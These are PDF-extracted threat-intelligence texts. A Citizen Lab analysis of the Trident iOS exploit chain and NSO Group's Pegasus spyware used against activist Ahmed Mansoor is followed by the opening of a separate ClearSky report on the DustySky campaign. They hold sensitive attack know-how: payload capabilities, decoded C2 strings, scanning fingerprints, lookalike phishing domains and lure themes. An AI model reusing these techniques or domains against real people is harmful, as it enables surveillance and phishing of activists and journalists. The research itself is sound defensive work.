Pegasus. Source: Hacking +Team Emails. +In the spyware used in targeting Mansoor, we confirmed many elements of this functionality, and observed indications that the collection of the following types of data was supported, +among others (see Section 4.2: The Payload for more details): +Calls made by phone, WhatsApp and Viber, +SMS messages, as well as messages and other data from popular apps like Gmail, WhatsApp, Skype, Facebook, KakaoTalk, Telegram, and others, +A wide range of personal data, such as calendar data and contact lists, as well as passwords, including Wi-Fi passwords. +3.4. Exfiltration +According to the purported NSO Group documentation, an infected device transmits collected information back to a Pegasus Data Server at the operator +s premises, via the PATN +(Pegasus Anonymizing Transmission Network). The PATN appears to be a proxy chain system similar to Hacking Team +s anonymizers and FinFisher +s relays. The chain is intended to +obfuscate the identity of the government client associated with a particular operation. Once the collected information arrives on the Pegasus Data Server, an operator may visualize the +information on a Pegasus Working Station. +5/14 +Figure 8: A purported screenshot of NSO Group +s Pegasus Working Station software, which visualizes location data collected from infected devices (as of March 2012). +Source: Hacking Team Emails. +The implant in the attack targeting Mansoor communicated with two PATN nodes: aalaan.tv and manoraonline.net. The first of these, aalaan.tv, appears to be a lookalike domain for the +legitimate alaan.tv, a Gulf-based satellite television channel (see Section 5.2 for more details on lookalike domains observed in apparent NSO Group infrastructure). +3.5. Prioritizing Stealth +One interesting design decision of NSO Group +s Pegasus system, according to the purported NSO Group documentation, is that it emphasizes stealth above almost all else. As the +documentation states: +In general, we understand that it is more important that the source will not be exposed and the target will suspect nothing than keeping the agent alive and working. +Certain Pegasus features are only enabled when the device is idle and the screen is off, such as +environmental sound recording + (hot mic) and +photo taking. + The documentation also +states that the spyware implements a +self-destruct mechanism, + which may be activated automatically +in cases where a great probability of exposing the agent exists. + However, the +documentation claims that sometimes Pegasus removal can result in an infected device rebooting immediately after removal. +4. The Trident iOS Exploit Chain and Payload +In this section, we describe our technical analysis of the attack on Mansoor, including the Trident iOS Exploit chain and payload. Given the accelerated timeframe of this case, we are +publishing the results of a preliminary analysis. +Recall that the investigation that led to the discovery of the Trident exploit chain began when UAE human rights activist Ahmed Mansoor forwarded to Citizen Lab two suspicious links that +he received via SMS on his iPhone (Section 2). Suspecting the links to be iPhone spyware associated with NSO Group ( Section 6), we accessed them from our own stock factory-reset +iPhone 5 running iOS 9.3.3. Mansoor +s device is an iPhone 6, running iOS 9.3.3; we did not have an iPhone 6 available for testing. Although the latest iOS version when Mansoor +received the links was 9.3.4, this version had been released only one week beforehand. +We accessed the links by opening Safari on our iPhone, and manually transcribing the links from the screenshots that Mansoor sent. After about ten seconds of navigating to the URL, +which displayed a blank page, the Safari window closed, and we observed no further visual activity on the iPhone +s screen. Meanwhile, we saw that the phone was served what appeared +to be a Safari exploit, followed by intermediate files (final111), and a final payload ( test111.tar). The first two payloads form the Trident exploit chain, and test111.tar is the payload. +6/14 +Figure 9: Requests from our phone to sms.webadv.co as we clicked on the malicious link. The first request is our click on the link. The requests for ntf_bed.html, +ntf_brc.html, and test111.tar are conducted by a stage2 binary (in final111). All previous requests are conducted by Safari. +Suspecting what we had observed to be the work of a zero-day iPhone remote jailbreak, we shared the exploit and payloads with colleagues at Lookout Security, initiated a responsible +disclosure process with Apple, and sent Apple the exploit and payloads. +4.1. The Trident Exploit Chain +This section provides a high-level overview of the Trident exploit chain used in the attack against Mansoor. For further details, see Lookout +s report. +When a user opens the links sent to Mansoor on an iPhone, a stage1 containing obfuscated JavaScript is downloaded. The JavaScript downloads (via XMLHttpRequest) stage2 binaries +for either 32-bit (iPhone 5 and earlier) or 64-bit (iPhone 5s and later), depending on the type of device. The stage1 employs a previously undocumented memory corruption vulnerability in +WebKit to execute this code within the context of the Safari browser (CVE-2016-4657). +The stage2 exploits a function that returns a kernel memory address, from which the base address of the kernel can be mapped (CVE-2016-4655). The stage2 then employs a memory +corruption vulnerability in the kernel (CVE-2016-4656). This last vulnerability is employed to disable code signing enforcement, allowing the running of unsigned binaries. The stage2 +downloads and installs the stage3, which is the spyware payload. +4.2. The Payload +This section provides a high-level overview of the functionality of the spyware payload. For more details, see Lookout +s report. +4.2.1. Persistence +The Trident is re-run locally on the phone at each boot, using the JavaScriptCore binary. To facilitate persistence, the spyware disables Apple +s automatic updates, and detects and +removes other jailbreaks. +4.2.2. Recording +The attack payload includes a renamed copy of Cydia Substrate, a third-party app developer framework, which it uses to help facilitate recording of messages and phone calls from +targeted apps. To record WhatsApp and Viber calls, the spyware injects WhatsApp and Viber using the Cydia Substrate, hooks various call status methods, and sends system-wide +notifications when call events occur; the spyware listens for these notifications and starts or stops recording as appropriate. It appears that the payload can spy on apps including: +iMessage, Gmail, Viber, Facebook, WhatsApp, Telegram, Skype, Line, KakaoTalk, WeChat, Surespot, Imo.im, Mail.Ru, Tango, VK, and Odnoklassniki. +The spyware also exfiltrates calendar and contact data, as well as passwords saved in the phone +s keychain, including Wi-Fi passwords and networks. +4.2.3. Exfiltration +The attack payload beacons back to command and control (C2) servers delivered in stage2 of the Trident, via HTTPS. One of the binaries in the stage2 of the link sent to Mansoor +contained the following string: +WW91ciBHb29nbGUgdmVyaWZpY2F0aW9uIGNvZGUgaXM6NTY3ODQyOQpodHRwOi8vZ21haWwuY29tLz96PUZFY0NBQT09Jmk9TVRwaFlXeGhZVzR1ZEhZNk5EUXpMREU2YldGdWIzSmhiMjVzY +The Base64 string decodes to: +Your Google verification code is:5678429 +http://gmail.com/?z=FEcCAA==&i=MTphYWxhYW4udHY6NDQzLDE6bWFub3Jhb25saW5lLm5ldDo0NDM=&s=zpvzPSYS674= +This appears designed to look like a text message from Google containing a two-factor authentication code, though legitimate Google messages of this type do not contain a link, and +contain one fewer digit in the verification code. Base64-decoding the + parameter of the URL yields: +1:aalaan.tv:443,1:manoraonline.net:443 +7/14 +These are the C2 servers for the spyware sent to Mansoor: aalaan.tv and manoraonline.net. +A similar obfuscation appears to be used for exchange of information over SMS between an infected phone and the C2 Server. In case the spyware +s C2 servers are disabled or +unreachable, an operator may deliver updated C2 servers to an infection using this type of SMS, similar to FinFisher +emergency configuration update + functionality. +5. Tracking a Mobile Attack Infrastructure +This section explains how we first identified what appeared to be a mobile attack infrastructure while tracking Stealth Falcon. We then outline some basic observations about the +infrastructure, including themes in the domain names used by the attackers. We link the infrastructure we found to NSO Group in Section 6. +5.1. Stealth Falcon Leads Us to a Mobile Attack Infrastructure +A year or so before Ahmed Mansoor received his suspicious SMS messages, we were tracking Stealth Falcon, a threat actor targeting individuals critical of the UAE government at home +and abroad, several of whom were later arrested. For full details on Stealth Falcon, read our May 2016 report. +In the course of our investigation, we traced Stealth Falcon +s spyware to dozens of different command and control (C2) domains. One server that matched our C2 fingerprint for Stealth +Falcon +s custom spyware, icloudcacher.com, was connected to the email address pn1g3p@sigaint.org, according to data in its DNS SOA record. The same email address appeared in +WHOIS records for the following three domains: +asrarrarabiya.com +asrararabiya.co +asrararablya.com +These domains did not match our Stealth Falcon fingerprint. As we examined the domains, however, we found that the index page on these domains contained an iframe pointing to the +website asrararabiya.com (Asrar Arabiya, or +Arabian Secrets + in English), which appears to be a benign website that takes a critical view of the Arab World +dictatorships. + The index +page also contained a nearly invisible iframe pointing to an odd looking site, smser.net. + + +Figure 10: HTML content of the index page on the three fake +Asrar Arabiya + domains. +We suspect that the three domains we identified were attempting to mislead users into believing they were visiting the legitimate asrararabiya.com website. Since we had linked the +operation to Stealth Falcon, we suspected that the additional domain, smser.net, might be an attack domain. We visited the URL in the iframe, https://smser.net/9918216t/, and were +redirected to https://smser.net/redirect.aspx. + +Figure 11: HTML content of https://smser.net/redirect.aspx. The page tells the web browser to redirect the visitor to Google. +We devised a number of fingerprints for various behaviors of smser.net, checked Shodan and Censys, and conducted our own scanning with zmap to identify related servers. We found +237 live IP addresses, and extracted their domain names from the SSL certificates returned by the each server. The SSL certificates we found included *.webadv.co, manoraonline.net, +and aalaan.tv, the three domains in the spyware attack sent to Mansoor. +We linked these IPs and domain names to what appears to be NSO Group exploit infrastructure. +5.2. Coding the Domain Names +We coded the domain names we found, and identified several common themes, perhaps indicating the type of bait content that targets would receive. Interestingly, the most common +theme among the domains we identified was +News Media, + perhaps indicating the use of fake news articles to trick targets into clicking on spyware links. An example of one such attack +in action is the targeting of Mexican journalist Rafael Cabrera (Section 7.1). +We also noted the prevalence of themes we had seen in other spearphishing attacks, e.g., online accounts, document sharing, shipment tracking, corporate account portals. Another +common theme was ISPs, perhaps because a target may trust an SMS appearing to come from an ISP or Telco they subscribe to. +8/14 +Figure 12: Most commonly recurring domain name themes. +Alarmingly, some of the names suggested a willingness on the part of the operators to impersonate governments and international organizations. For example, we found two domain +names that appear intended to masquerade as an official site of the International Committee of the Red Cross (ICRC): icrcworld.com and redcrossworld.com. +We also identified the domain topcontactco.com which may be a lookalike for tpcontact.co.uk, a website belonging to Teleperformance, a company that has managed UK visa +application processing in many countries. +Figure 13: Screenshot from an article published by the UK Government on how to apply for a visa. +Visa applicants are required to visit the legitimate tpcontact.co.uk website as part of the online visa application process. We found similar evidence of government-themed sites hinting at +Mexico and Kenya. +The following table provides further examples of themes found in the domain names. +Type +Example +Impersonating +News Media +alljazeera.co +bbc-africa.com +cnn-africa.co +unonoticias.net +univision.click +Aljazeera +Las Ultimas Noticias +Univision +Shipment Tracking +track-your-fedex-package.org +FedEx +ISP / Telco +mz-vodacom.info +iusacell-movil. com.mx +sabafon.info +newtarrifs.net +Vodacom (Mozambique) +Iusacell (Mexico) +Sabafon (Yemen) +Generic +Popular Online Platforms +y0utube.com.mx +fb-accounts.com +googleplay-store.com +whatsapp-app.com +YouTube +Facebook +Google +WhatsApp +Account Info. (Generic) +accounts.mx +adjust-local-settings.com +Unknown +Government Portals +emiratesfoundation.net +topcontactco.com +The Emirates Foundation +Teleperformance Visa Application Processing Portal for the UK (tpcontact.co.uk.) +9/14 +Humanitarian organizations +icrcworld.com +redcrossworld.com +International Committee of the Red Cross +Airlines +checkinonlinehere.com, turkishairines.info +Generic +Turkish Airlines +Pokemon +bulbazaur.com +pickuchu.com +The Pokemon Company +Figure 14: Examples of domain names and themes +We also examined the domain names for evidence of links to any specific country and found a range of countries. Our criteria was whether the domain name contained the name of a +telecom provider, ISP, local website, government service, geographic location, a country +s TLD, or the name of a country. +The UAE and Mexico dominate this list, although other countries are also worth noting, including: Turkey, Israel, Thailand, Qatar, Kenya, Uzbekistan, Mozambique, Morocco, Yemen, +Hungary, Saudi Arabia, Nigeria, and Bahrain. +Figure 15: Country theme based on domain name. +Citizen Lab is refraining from publishing a full list of domain names at this time given the possibility that some domains may have been used in legitimate law enforcement operations. +6. Linking NSO Group Products to the Attack on Mansoor +In this section, we explain why we believe the attack on Ahmed Mansoor incorporated the use of NSO Group +s Pegasus product. We explain how we connected the domain name in the +link that Ahmed Mansoor received, sms.webadv.co, to a network of domain names that we had mapped out while working on the May 2016 Stealth Falcon report (Section 5). We also +highlight links to the UAE. +6.1. Spyware Points to NSO Group +s Pegasus Solution +The final payload that we identified, test111.tar, contained several files, including libaudio.dylib, which appeared to be the base library for call recording, libimo.dylib, which appeared to +be the library for recording chat messages from apps, and two libraries for WhatsApp and Viber call recording: libvbcalls.dylib, and libwacalls.dylib. In each file, we found several +hundred strings containing the text +_kPegasusProtocol, + the name of NSO Group +s solution. +_kPegasusProtocolAgentControlElement_iv +_kPegasusProtocolAgentControlElement_key +_kPegasusProtocolAgentControlElement_ciphertext +_kPegasusProtocolProtocolElement_iv +_kPegasusProtocolProtocolElement_key +_kPegasusProtocolProtocolElement_ciphertext +_kPegasusProtocolResponseElement_iv +_kPegasusProtocolResponseElement_key +_kPegasusProtocolResponseElement_ciphertext +Figure 16: +Pegasus + strings in the payload. +6.2. Historical Scanning Data Connects Mansoor Attack to NSO Group-linked Infrastructure +10/14 +The links sent to Mansoor used the domain sms.webadv.co. The network of 237 live IP addresses we mapped ( Section 5) included 52.8.153.44, to which sms.webadv.co resolves, and +which returns an SSL certificate for *.webadv.co. The 237 IPs also included 52.8.52.166 (aalaan.tv) and 162.209.103.68 (manoraonline.net), which were the two C2 servers in the +spyware used in targeting Mansoor. +However, the 237 IPs and related domain names that we mapped did not provide insight into the identity of the threat actor. The IP addresses all appeared to be associated with cloud +VPS providers, which gave no clue as to the identities of the operators, and the WHOIS information was mostly private. We did note that several domain names had WHOIS registrants +based in Israel (e.g., thainews.asia, kenyasms.org). +We examined historical scanning data to see whether we could attribute the 237 IPs to a threat actor. We noted that at least 19 of these IPs had previously returned a different distinctive +Google redirect in response to a +GET / +\xef\xbb\xbf\r\n\r\n + +Figure 17: Response to an HTTP GET exhibited by 19 IPs in historical scanning data (note that the first three bytes represent the unicode byte order mark + BOM). +These 19 IPs included an IP address that (later) resolved to manoraonline.net, one of the C2 servers for the spyware sent to Mansoor. +We then searched the same historical data for other IP addresses that matched this same fingerprint. Overall, between October 2013 and September 2014, we identified 83 IPs that +matched the fingerprint. We found several IPs of particular interest. The IP address 82.80.202.200 matched our fingerprint from October 2013 until April 2014. +HTTP/1.1 200 OK +Content-Type: text/html +Last-Modified: Tue, 04 Jun 2013 15:28:04 GMT +Accept-Ranges: bytes +ETag: "09a91b3861ce1:0" +Server: Microsoft-IIS/7.5 +Date: Mon, 28 Oct 2013 21:23:12 GMT +Connection: close +Content-Length: 127 +\xef\xbb\xbf + + +The domain name qaintqa.com pointed to this IP address at the same time (from April 2013 to April 2016), according to DomainTools. The registrant information for this domain is: +Registrant Street: +Medinat Hayehudim +Registrant City: +hertzliya +Registrant State/Province: central +Registrant Postal Code: +46766 +Registrant Country: +Registrant Phone: +972542228649 +Registrant Email: +lidorg@nsogroup.com +We also found two other IP addresses of interest that matched the fingerprint: 82.80.202.204 and 54.251.49.214 matched the fingerprint in March 2014. The former was pointed to by +mail1.nsogroup.com from 2014-09-24 to 2015-05-06 (PassiveTotal), the latter was pointed to by nsoqa.com from 2015-09-01 until present (DomainTools). Both domains are registered +to NSO Group. +Given these findings, we strongly suspected the network of domain names we uncovered was part of an exploit infrastructure for NSO Group +s mobile spyware. +6.3. Additional UAE Infrastructure +Recall that our first window into this infrastructure came from our Stealth Falcon research, when we identified the smser.net domain, fingerprinted it, and traced it to 237 live IP addresses +that shared the same characteristics (Section 5.1). +Using PassiveTotal, we were able to further trace smser.net to seven other domains, indicating Stealth Falcon targeting that appeared to use NSO Group +s Pegasus solution in Qatar +(ooredoodeals.com), UAE (alawaeltech.com, which may be a fake mobile phone company based in the Emirate of Ajman ), and Bahrain (bahrainsms.co). Based on our previously +published research, we believe there is strong circumstantial evidence to support the conclusion that the operator of Stealth Falcon is connected to an entity within the UAE Government. +We also identified five .ae TLDs that all shared the same registrant name ( +Gerald Binord +), which may have been used to target people in the UAE. We further identified another group of +domains including damanhealth.online ( +Daman Health + is a UAE-based health insurer) and uaenews.online, which also included a domain turkeynewsupdates.com, suggesting an +operator that is targeting both UAE and Turkey targets. +7. Evidence of Other Targets +In two cases, Mexico and Kenya, we found evidence of other targets who may have been targeted with NSO Group +s Pegasus, based on messages they sent or received containing links +that involve domain names we traced to what appears to be a mobile attack infrastructure associated with NSO Group +s Pegasus (see Section 5: Tracking a Mobile Attack +Infrastructure). +7.1. Mexico: Politically Motivated Targeting? +In the case of Mexico, one target appears to be the journalist Rafael Cabrera, who recently reported on the Casa Blanca controversy, a reported conflict of interest involving the President +and First Lady of Mexico. On August 30, 2015 the journalist Cabrera tweeted that he had received suspicious messages purporting to come from Mexican television station UNO TV. His +tweet included screencaptures of the messages, which said that Mexico +s Presidency was considering defamation claims and imprisonment of reporters related to the Casa Blanca report +that Cabrera had worked on. +11/14 +Figure 18: Messages purporting to come from UNO TV suggesting that a story he was linked to might result in defamation charges or incarceration. Image via Mexican +journalist Rafael Cabrera +s tweet. +The English translations of the messages are as follows: +UNOTV.COM/ THE PRESIDENT +S OFFICE WILL SUE FOR DEFAMATION THOSE WHO PUBLISH REPORTING ON CASA BLANCA. NOTE: [MALICIOUS LINK] +UNOTV.COM/ ON THE TOPIC OF THE CASA BLANCA, THE PRESIDENCY COULD INCARCERATE REPORTERS WHILE THEY LOOK INTO THE NAMES: [MALICIOUS LINK] +The links in the screenshots expand to http://fb-accounts.com/1074139s/ and http://unonoticias.net/3423768s/. These match two domain names we linked to the apparent NSO +Group infrastructure. A director at UNO TV responded to Cabrera +s Tweet, saying that these were +not our messages 100%. +Figure 19: A director from UNO TV states that the suspicious SMS messages sent to Cabrera were not from his company. Image via Twitter. +We were unable to achieve a successful infection from either link sent to Cabrera, presumably because the links were several months old when we found them, and had been clicked on +either by Cabrera himself, or by other interested parties who saw Cabrera +s tweet. +Continuing our investigation, we made contact with Cabrera and learned that he had been recently targeted with an additional series of messages containing suspicious links. +Figure 20: Additional SMS messages sent to Rafael Cabrera containing links to the exploit infrastructure. Screenshots courtesy of Rafael Cabrera. +The English translations of the messages are as follows (clockwise from top-left): +12/14 +Facebook reports efforts to access the account of: Rafael Cabrara. Avoid account blockage, Verify at: [MALICIOUS LINK] +UNOTV.COM/ CARMEN ARISTEGUI MAY RUN AS AN INDEPENDENT CANDIDATE IN 2018. DETAILS: [MALICIOUS LINK] +TELCEL.COM/. DEAR CLIENT WE REMIND YOU THAT YOU HAVE AN OUTSTANDING DEBT OF $8,854.90 IN NATIONAL CURRENCY. TO VERIFY DETAILS [MALICIOUS LINK] +[CL Note: this message contains highly profane sexual taunts, followed by a malicious link] +The fourth message is most noteworthy, as it contained profane and personal sexual taunts, unlike the other messages. Each of these messages contained a link that would have led, we +believe, to the infection of his iPhone with NSO Group +s Pegasus spyware via the Trident exploit. +Similar SMS messages have also been reported in other online posts from Mexico. +7.2. Kenya: A Tweet Discussing the Opposition +In the case of Kenya, we found a past tweet containing a link to the NSO Group exploit infrastructure from June 3, 2015. The tweet, sent by a +Senior Research Officer + in the Office of +the Senate Minority Leader, references Moses Wetangula, who is the current Minority Leader of Kenya +s Senate. +Figure 21: A Kenya-related link to apparent NSO Group infrastructure. +8. Ahmed Mansoor and Previous UAE Attacks +In this section, we provide an overview of previous attacks we have documented against Ahmed Mansoor, and other UAE dissidents. The technical sophistication of previous attacks we +observed pales in comparison to the present attack. +Ahmed Mansoor has been a frequent target of past electronic attacks. In March 2011, he was targeted with FinFisher spyware disguised as a PDF of a pro-democracy petition he had +previously signed. The spyware arrived in the form of an executable file inside a .rar file attached to an email. Mansoor noticed that the file was an EXE file rather than a PDF, and did not +open it. Mansoor and four other activists (the +UAE Five +) were imprisoned in April 2011, and charged with insulting the leaders of the UAE. Mansoor and the others were pardoned in +November of the same year. +In July of 2012, Ahmed Mansoor +s laptop was infected with Hacking Team spyware delivered via a booby-trapped Microsoft Word document exploiting an old Microsoft Office vulnerability, +CVE 2010-3333. The spyware sent information from his computer to a UAE intelligence agency, apparently operating under the auspices of the office of Sheikh Tahnoon bin Zayed alNahyan, a son of the founder of the UAE, and now the UAE Deputy National Security Advisor. Attackers broke into Mansoor +s email account shortly after the infection. We assisted +Mansoor in recovering from the attack. Another UAE-based human rights activist, and a UAE-based journalist were also targeted in the same operation. +In early 2013, Mansoor was sent a link to a website that attempted to install spyware on his computer by exploiting a public Java vulnerability for which no patch had yet been issued. He +realized the link was suspicious and did not click on it. Throughout 2013 and 2014, Mansoor was unsuccessfully targeted several times with spyware, mostly XTremeRAT, SpyNet RAT, +and njRAT delivered as executable files in attachments or through Google Drive links. In 2014, Mansoor +s Twitter account was hacked. +In a campaign stretching from 2012 until 2016, UAE dissidents at home and abroad were targeted by Stealth Falcon, an attacker likely linked to a UAE government agency. Stealth +Falcon sent out links involving a fake URL shortener that employed Javascript to profile targets + computers, checked which antivirus programs they had installed, and attempted to +deanonymize them if they were using Tor. Stealth Falcon also sent out Microsoft Word documents containing custom spyware that was installed if a user enabled macros. Targets +included five dissidents who were later arrested or convicted in absentia, as well as Rori Donaghy, a UK-based journalist who had been publishing articles about leaked emails involving +members of the UAE government. +9. Conclusion +In this report, we identify a highly technically sophisticated attack involving a zero-day iPhone remote jailbreak + Trident + which installs spyware on a phone whose user clicks just once +on a malicious link. We connected the attack to NSO Group +s Pegasus spyware suite, sold exclusively to government agencies by Israel-based NSO Group. We made the connection +based on our previous work tracing a group of servers that appeared to be part of an infrastructure for attacking mobile phones. Long before Ahmed Mansoor had forwarded us any +suspicious links he received, we had mapped out a set of 237 servers (Section 5), and linked this set to NSO Group ( Section 6). When Mansoor sent us screencaptures of the SMS +messages containing the links, we immediately matched the links + domain name to our list of suspected servers associated with NSO Group +s Pegasus. +We visited the links Mansoor sent us from a colleague +s factory-reset stock iPhone, and managed to capture the exploits and payload, as the phone was infected. We shared these +artifacts with Lookout to gain more insight into the technical capabilities of the exploits and spyware, and with Apple as part of a responsible disclosure process. Apple has been highly +responsive, and has worked very quickly to develop and issue a patch in the form of iOS 9.3.5, approximately 10 days after our initial report to them. Once an iPhone is updated to this +most recent version, it will be immediately protected against the Trident exploit chain used in this attack. While we assume that NSO Group and others will continue to develop +13/14 +replacements for the Trident, we hope that our experience encourages other researchers to promptly and responsibly disclose such vulnerabilities to Apple and to other vendors. +What Can You Do? +All iPhone owners should update to the latest version of iOS (9.3.5) immediately. If you +re unsure what version you +re running, you can check it yourself by tapping Settings > General > +About > Version. +Citizen Lab agrees with Apple that users should avoid opening or downloading items from messages and websites unless they are certain that they come from a legitimate, trusted +source. If you uncertain about the source, you should not click the link or open the file. If you believe you have been the victim of a targeted attack, should consider sharing it with a +trusted expert. If you suspect you have been the target of this attack, please contact the Citizen Lab at info@citizenlab.org. +Zero-day exploits are expensive and rare, especially one-click remote jailbreak exploits for iPhones, like the Trident. Such exploits can fetch hundreds of thousands or even a million +dollars. While Citizen Lab research has shown that many state-sponsored spyware campaigns against civil society groups and human rights defenders use + just enough + technical +sophistication, coupled with carefully planned deception, the attack on Mansoor demonstrates that not all threats follow this pattern. +This is the third time Mansoor has been targeted with +lawful intercept + spyware; Mansoor was targeted in 2011 with spyware from FinFisher (based in Germany and the UK), in 2012 with +spyware from Hacking Team (based in Italy), and now in 2016 with what appears to be spyware from NSO Group (based in Israel and reportedly owned by a US firm). That the +companies whose spyware was used to target Mansoor are all owned and operated from democracies speaks volumes about the lack of accountability and effective regulation in the +cross-border commercial spyware trade. +While these spyware tools are developed in democracies, they continue to be sold to countries with notorious records of abusive targeting of human rights defenders. Such sales occur +despite the existence of applicable export controls. For example, Israel +s export regime incorporates the dual-use technology controls of the Wassenaar Arrangement , including those +related to +intrusion software. + As such, NSO Group would presumably be required to obtain a license to export its products to the UAE. If NSO Group did submit a license application, the +human rights abuses perpetrated by the UAE, including the misuse of +lawful intercept + capabilities, must not have outweighed authorities + other motivations to approve the export. +Clearly, additional legal and regulatory scrutiny of the the +lawful intercept + market, and of NSO Group +s activities in relation to the attacks we have described, is essential. Citizen Lab and +others have repeatedly demonstrated that advanced +lawful intercept + spyware enables some governments and agencies, especially those operating without strong oversight, to target +and harass journalists, activists and human rights workers. If spyware companies are unwilling to recognize the role that their products play in undermining human rights, or address these +urgent concerns, they will continue to strengthen the case for further intervention by governments and other stakeholders. +Note: We are not releasing the malicious files at this time to protect the integrity of ongoing investigations. +Acknowledgements +Special thanks to the team at Lookout that we collaborated with in our investigation, especially: Max Bazaliy, Andrew Blaich, Kristy Edwards, Michael Flossman, Seth Hardy, and Mike +Murray. +Very special thanks to our talented Citizen Lab colleagues, especially: Ron Deibert, Sarah McKune, Claudio Guarnieri, Adam Senft, Irene Poetranto, and Masashi Nishihata. +Special thanks to the teams at Apple Inc. with whom we have been in contact for their prompt and forthright engagement during the disclosure and patching process. +Special thanks to Nicholas Weaver for supplying the iPhone that we infected in Section 4. Special thanks to Zakir Durumeric. +Special thanks to TNG and others who provided invaluable assistance, including with translation, but requested to remain anonymous. +Thanks to PassiveTotal. +Citizen Lab +s research into targeted threats against civil society is supported by the John D and Catherine T MacArthur Foundation. This material is also based upon work supported by +the Center for Long Term Cybersecurity (CLTC) at UC Berkeley. +Disclosure Timeline +Citizen Lab researchers received the initial suspicious link on August 10th 2016, and, shortly thereafter, contacted Lookout Security. After both teams confirmed the presence of a remote +jailbreak we initiated a responsible disclosure process and contacted Apple on August 15th. +Teams from Citizen Lab and Lookout continued our analysis until the public release of iOS 9.3.5 by Apple, which closes the vulnerabilities that we disclosed. +14/14 +June +2016 +Operation DustySky +Part 2 +ClearSky Cybersecurity +www.clearskysec.com/dustysky2 +TLP:White +For public distribution +______________________________________________________________________________ +All Rights reserved to C. S Consultings ltd. "ClearSky" www.clearskysec.com +Page 1of 26 +Contents +Foreword ..............................................................................................................................................................3 +Acknowledgments .......................................................................................................................................3 +Background ...........................................................................................................................................................4 +Targeting and incidents ........................................................................................................................................5 +Who are they after? .........................................................................................................................................5 +Targeting in Hebrew and English .................................................................................................................5 +Targeting in arabic .......................................................................................................................................9 +What are they after? ......................................................................................................................................11 +Infrastructure......................................................................................................................................................13 +Key C2 and delivery servers .......................................................................................................................13 +Threat actor and Attribution ..............................................................................................................................15 +Threat actor ...............................................................................................................................................15 +Who is moayy2ad@hotmail.com ..............................................................................................................16 +Contacting ClearSky........................................................................................................................................22 +By Email......................................................................................................................................................22 +By phone ....................................................................................................................................................23 +Appendix A + Indicators......................................................................................................................................24 +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 2 of 26 +Foreword +This report is a follow-up on our DustySky operation report from January 20161. It analyses new attacks by +Molerats against targets in Israel, The United States, Egypt, Saudi Arabia, United Arab Emirates and The +Palestinian Authority. +We elaborate on the scope and targeting of the DustySky campaign and expose new infrastructure and +incidents. In addition, we expose the identity of an individual who is behind the DustySky campaign. +Following the previous report, this individual has contacted us trying to learn what we know about him. +Attacks against all targets in the Middle East stopped at once, after we published our first report. However, +the attacks against targets in the Middle East (except Israel) were renewed in less than 20 days. In the +beginning of April 2016, we found evidence that the attacks against Israel have been renewed as well2. +Based on the type of targets, on Gaza being the source of the attacks, and on the type of information the +attackers are after - we estimate with medium-high certainty that the Hamas terrorist organization3 is +behind these attacks. +Acknowledgments +This research was facilitated by the PassiveTotal for threat infrastructure analysis. +We would like to thank the security researchers and organizations who shared information and provided +feedback, which have been crucial for this research. +clearskysec.com/dustysky +The report seems to have indeed disrupted the attacker for several months. In a PDB found in a sample from the April +wave, there is an indication that the attacker saw that wave as +part 2 + of the attacks (part 1 being the attacks before +the public report): Name D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il - 192.52.167.118\NeD Download and +execute Version 1 - Doc\bin\Release\Obfuscated\News.pdb +https://www.nctc.gov/site/groups/hamas.html +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 3 of 26 +Background +DustySky is a multi-stage malware written in .NET (recently ported to C++). It is composed of a DustySky +dropper, DustySky core, and the DustySky keylogging component. It has been developed and used since May +2015 by Molerats (aka "Gaza cybergang"), a terrorist group whose main objective in this campaign is +intelligence gathering. +A wave of malicious email messages has been sent on a weekly basis to hundreds of targets. The email +message and the lure documents are written in Hebrew, Arabic or English. The attackers would send a +malicious email message that either links to an archive file (RAR or ZIP compressed) or has one attached to it. +The archive contains an .exe file, sometimes disguised as a Microsoft Word file, a video, or another file +format, using the corresponding icon. We have also found samples that use Microsoft Word files embeded +with a malicious macro, which would infect the victim if enabled. In all cases the attackers rely on social +engineering - convincing the victim to open the file (and enabling content if it is disabled) - and not on +software vulnerabilities +In addition to DustySky, the attackers use publicly available tools such as the following Remote +Administration Tools (RAT): Poison ivy, Nano Core, XtremeRAT, DarkComet and Spy-Net. These tools have +been used either following an initial DustySky infection, or by themselves. +Targeted sectors are mostly governmental and diplomatic institutions including embassies; companies from +the aerospace and defense Industries; financial institutions; journalists; software developers. +Most targets are from the Middle East, some are in the United States and Europe. +In January 2016 we've published an extensive report about the campaign and malware - +Operation +DustySky + - which is available here: clearskysec.com/dustysky +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 4 of 26 +Targeting and Incidents +Who are they after? +Targeting in Hebrew and English +Below are examples of lure documents presented to the victim while the malware infects the computer. The +content of the document is always copied from an online public source. The subject usually revolves around +defense and security or current affairs. Once in a while other topics or content are used - such as a public +corporate responsibility document published by Egged, an Israeli bus company; a part of an online Novel +published as a doc file; or pornographic materials. +Intelligence agencies succeeding in penetrating Hezbollah.exe +IDF survey Research Center +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 5 of 26 +)unused condom( +Live Webcam For Free +.exe +(Six killed and 15 wounded in an collision between bus and tractor trailer) +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 6 of 26 +Intelligence Report: Israel +s strategic position has improved.exe +.exe +(corporate responsibility and sustainability report - Egged) +.exe +(blind love game + chapter G) +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 7 of 26 +Ynet news +In a recent wave, a bit.ly link (https://bitly[.]com/1YRoIPX) was used instead of a direct link to the malware +(bit.ly is a legitimate URL shortening service). The shortened link statistics page enables us to learn about the +scope and the targeting of this threat actor. +We can see that the link was clicked 210 times, out of which 130 were in Israel, 32 in the United States, 9 in +the Palestinian authority, and 39 from 12 other countries (1-5 each). +The statistics do not necessarily reflect the exact distribution of targets: one target may click more than one +time; a proxy or VPN may skew the country count; and security researchers and bots may also comprise part +of the clicks. However, they do roughly represent the scope of the campaign: tens to few hundreds of +recipients - mostly in Israel, the United States and the Palestinian Territories. +This corresponds to the distribution we know of based on other sources such as direct reports from targets, +cases we have investigated, and open source intelligence. +______________________________________________________________________________ +(C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com +Page 8 of 26 